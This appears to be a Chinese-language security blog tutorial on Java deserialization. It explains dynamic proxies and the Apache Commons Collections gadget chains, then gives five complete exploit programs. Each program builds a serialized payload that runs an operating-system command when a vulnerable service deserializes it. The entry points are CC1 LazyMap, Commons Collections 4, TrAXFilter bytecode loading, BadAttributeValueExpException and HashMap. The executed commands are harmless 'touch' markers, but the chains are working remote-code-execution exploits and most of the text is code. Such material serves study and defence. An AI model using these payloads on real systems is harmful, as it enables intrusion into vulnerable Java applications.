前置知识
- java反序列化
- java动态代理机制
java动态代理
想象一个场景,如果我们有一个展示图片的功能,可以展示大图,缩略图和小图,而我们需要在展示图片的时候加上我们自己的水印,代码应该是这样:
package flight.proxy.askldfjlasdk;
public class Shop {
public void bigPic(){
System.out.println("添加水印");
System.out.println("show bigPic");
}
public void smallPic(){
System.out.println("添加水印");
System.out.println("show smallPic");
}
public void thumbnail(){
System.out.println("添加水印");
System.out.println("show thumbnail");
}
}
这里只有3个方法,我们可以复制三次,达到我们要的效果,但是如果我们需要为很多个方法添加水印,我们需要另外一种方式来达到我们要的效果。
这个时候就可以使用代理机制,不去直接执行提供提供服务的类的方法,而是创建一个代理来代替客户端去执行方法,而代理在执行方法之前或者执行之后都可以添加一些额外的方法
InvocationHandler
这是java提供的一个接口,用来实现动态代理机制,代理类可以通过实现接口的invoke方法来添加额外的方法
package flight.proxy.askldfjlasdk;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class MyProxy implements InvocationHandler {
Object target;
public MyProxy(Object target){
this.target = target;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("添加水印");
Object result = method.invoke(target, args);
return result;
}
}
在invoke方法中通过反射调用实际提供服务的类的方法
详细请见:https://juejin.im/post/5c1ca8df6fb9a049b347f55c#heading-6
CommonCollections1反序列化链
反射执行命令
最终执行的地方是Transform接口的transform方法,看一下哪些类实现了transform方法
进入InvokerTransformer,看一下实现的transform函数:
可以看到,方法名,参数类型,参数都是构造方法中传入的,所以在反序列化的时候,这些变量是我们可控的
寻找调用transform的地方
可以看到在LazyMap的get方法中调用了transform,我们要找一个对象调用了transform方法,而且这个对象可以是我们构造的InvokerTransformer对象
要想调用到transform,我们要满足两个条件:
- map中不包含为key的键值对
- factory变量我们可控
map和factory我们都可控,所以LazyMap的get方法可以利用,然后接下来我们需要找一个调用了get的可控变量
动态代理化腐朽为神奇
想要找到通过readObject调用到get的类没有找到,这个利用链的作者使用了一种非常秀的方法,做到了RCE
现在将目光放到sun.reflect.annotation.AnnotationInvocationHandler
这个类中,这个类实现了readObject,也就以为着我们可以将这个类作为我们的反序列化的起点
这个类中的memberValues是我们可控的
但是在readObject中并没有可以调用get的地方,我们需要另外想办法,但是这里只有一个可控变量也就是memberValues调用了entrySet,好像没有任何办法调用到get方法
但是这个类很特殊,可以看到这个类是实现了InvocationHandler这个接口的,这样就以为着,这个类可以作为代理类。
来看看这个类的invoke方法
在switch的default块中,this.memberValues我们可控而且调用了get方法,简直完美,这样我们的Gadgets就完成了,接下来就是poc的构造
梳理一下反序列化的步骤:
- 反序列化调用到AnnotationInvocationHandler的readObject方法,设置this.memberValues为一个LazyMap的代理类同样是AnnotationInvocationHandler
- 在执行到
this.memberValues.entrySet().iterator()
的时候,因为this.memberValues为代理类,所以转而执行LazyMap代理类AnnotationInvocationHandler的invoke方法 - 在default代码块的时候调用了LazyMap的get方法
- 使用ChainedTransformer来达到RCE的效果
poc构造
构造transform chain
再来分析一下上面的反射调用,会发现有一个问题:
这里的可以调用输入类的任意一个方法,但是只能调用一次
回忆一下我们再java中执行命令的写法:
Runtime.getRuntime().exec("ls"):
这里首先我们需要获取到Runtime对象,然后调用getRuntime(),然后再调用exec方法
而如果我们只用一次transform,只能调用一个方法,所以我们需要找一个能将返回值再作为参数传入transform方法的地方,来看下ChainedTransformer
iTransformers我们可控,成功形成了一系列的调用链,但是这里有一点要注意,Runtime类是一个特殊的类,不可以被当作参数传递,我们只能通过getRuntime来获取Runtime对象
再来梳理一遍执行命令的流程:
- 传入Runtime.class
- 获取java.lang.Class的getMethod方法,并且调用getMethod方法获取getRuntime方法
- 通过getRuntime方法对象获取Method类,获取Method类的invoke方法,调用invoke返回Runtime对象
- 调用Runtime.class类的exec方法执行命令
需要第一个传入Runtime.class,所以我们使用ConstantTransformer,这个类的transform函数直接返回对象
所以构造transform链:
ConstantTransformer transform1 = new ConstantTransformer(Runtime.class);
// Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class)
// System.out.println(method);
InvokerTransformer transform2 = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",null});
InvokerTransformer transform3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null});
InvokerTransformer transform4 = new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"touch /tmp/commonsuccess"});
// Runtime.getRuntime().exec("ls");
Transformer[] transformers = new Transformer[]{
transform1,
transform2,
transform3,
transform4
};
Map map = new HashMap();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
之后设置LazyMap的factory为ChainTransform,现在只要调用LazyMap的get方法即可执行命令
现在实例化两个AnnotationInvocationHandler,一个作为反序列化的入口,一个作为Map的代理类
InvocationHandler annotationInvocationHandler = (InvocationHandler)ctor.newInstance(Override.class, lazyMap);
InvocationHandler invocationHandler = (InvocationHandler)ctor.newInstance(Override.class,
Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler));
这里需要通过反射来实例化这个类,将代理的AnnotationInvocationHandler作为memberValues,再调用entrySet的时候会跳到代理类的invoke方法中,在invoke中调用get方法触发LazyMap的get,达到RCE
最终的exp:
import javafx.scene.transform.Transform;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Poc {
public static void main(String[] args) throws Exception{
ConstantTransformer transform1 = new ConstantTransformer(Runtime.class);
// Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class)
// System.out.println(method);
InvokerTransformer transform2 = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",null});
InvokerTransformer transform3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null});
InvokerTransformer transform4 = new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"touch /tmp/commonsuccess"});
// Runtime.getRuntime().exec("ls");
Transformer[] transformers = new Transformer[]{
transform1,
transform2,
transform3,
transform4
};
Map map = new HashMap();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
String clazzName = "sun.reflect.annotation.AnnotationInvocationHandler";
Constructor> ctor = Class.forName(clazzName).getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler)ctor.newInstance(Override.class, lazyMap);
InvocationHandler invocationHandler = (InvocationHandler)ctor.newInstance(Override.class,
Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler));
FileOutputStream fileOutputStream = new FileOutputStream("poc.obj");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(invocationHandler);
}
}
CommonCollection 4.0 LazyMap exp
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.AbstractIterableMap;
import org.apache.commons.collections4.map.LazyMap;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Poc {
public static void main(String[] args) throws Exception{
ConstantTransformer transform1 = new ConstantTransformer(Runtime.class);
// Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class)
// System.out.println(method);
InvokerTransformer transform2 = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",null});
InvokerTransformer transform3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null});
InvokerTransformer transform4 = new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"touch /tmp/woaiwojia"});
// Runtime.getRuntime().exec("ls");
Transformer[] transformers = new Transformer[]{
transform1,
transform2,
transform3,
transform4
};
Map map = new HashMap();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.lazyMap(map, chainedTransformer);
String clazzName = "sun.reflect.annotation.AnnotationInvocationHandler";
Constructor> ctor = Class.forName(clazzName).getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler)ctor.newInstance(Override.class, lazyMap);
Map pocMap = (Map)Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getSuperclass().getSuperclass().getInterfaces(), annotationInvocationHandler);
InvocationHandler invocationHandler = (InvocationHandler)ctor.newInstance(Override.class, pocMap);
FileOutputStream fileOutputStream = new FileOutputStream("poc5.obj");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(invocationHandler);
}
}
CommonCollection 3.1 TrAXFilter加载字节码exp
package poc.common3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
public class Poc2 {
public static void main(String[] args) throws Exception{
// get the exploit class byte code
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("poc.common3.Exploit");
byte[][] bytes = new byte[1][ctClass.toBytecode().length];
bytes[0] = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = TemplatesImpl.class.getDeclaredField("_bytecodes");
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "hack");
bytecode.setAccessible(true);
bytecode.set(templates, bytes);
ConstantTransformer transformer1 = new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer transformer2 = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
transformer1,
transformer2
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Class readObjectClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor> constructor = readObjectClazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler proxyInvocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class,
Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), proxyInvocationHandler));
FileOutputStream fileOutputStream = new FileOutputStream("poc2.obj");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(invocationHandler);
}
}
// Exploit.java
package poc.common3;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Exploit extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("touch /tmp/bytecodesucc");
} catch (IOException e) {
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
CommonCollection 3.1 BadAttributeValueExpException入口 exp
package poc.common3;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Common5 {
public static void main(String[] args) throws Exception{
ConstantTransformer transform1 = new ConstantTransformer(Runtime.class);
// Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class)
// System.out.println(method);
InvokerTransformer transform2 = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",null});
InvokerTransformer transform3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null});
InvokerTransformer transform4 = new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"touch /tmp/tostringsucc"});
// Runtime.getRuntime().exec("ls");
Transformer[] transformers = new Transformer[]{
transform1,
transform2,
transform3,
transform4
};
Map map = new HashMap();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
FileOutputStream fileOutputStream = new FileOutputStream("poc3.obj");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
}
}
CommonCollection 3.1 HashMap入口 exp
package poc.common3;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Common6 {
public static void main(String[] args) throws Exception{
ConstantTransformer transform1 = new ConstantTransformer(Runtime.class);
InvokerTransformer transform2 = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",null});
InvokerTransformer transform3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null});
InvokerTransformer transform4 = new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"touch /tmp/common6succ"});
Transformer[] transformers = new Transformer[]{
transform1,
transform2,
transform3,
transform4
};
Map map = new HashMap();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "lkjaldksfj");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"hack");
Field field = TiedMapEntry.class.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry, lazyMap);
FileOutputStream fileOutputStream = new FileOutputStream("poc4.obj");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashMap);
}
}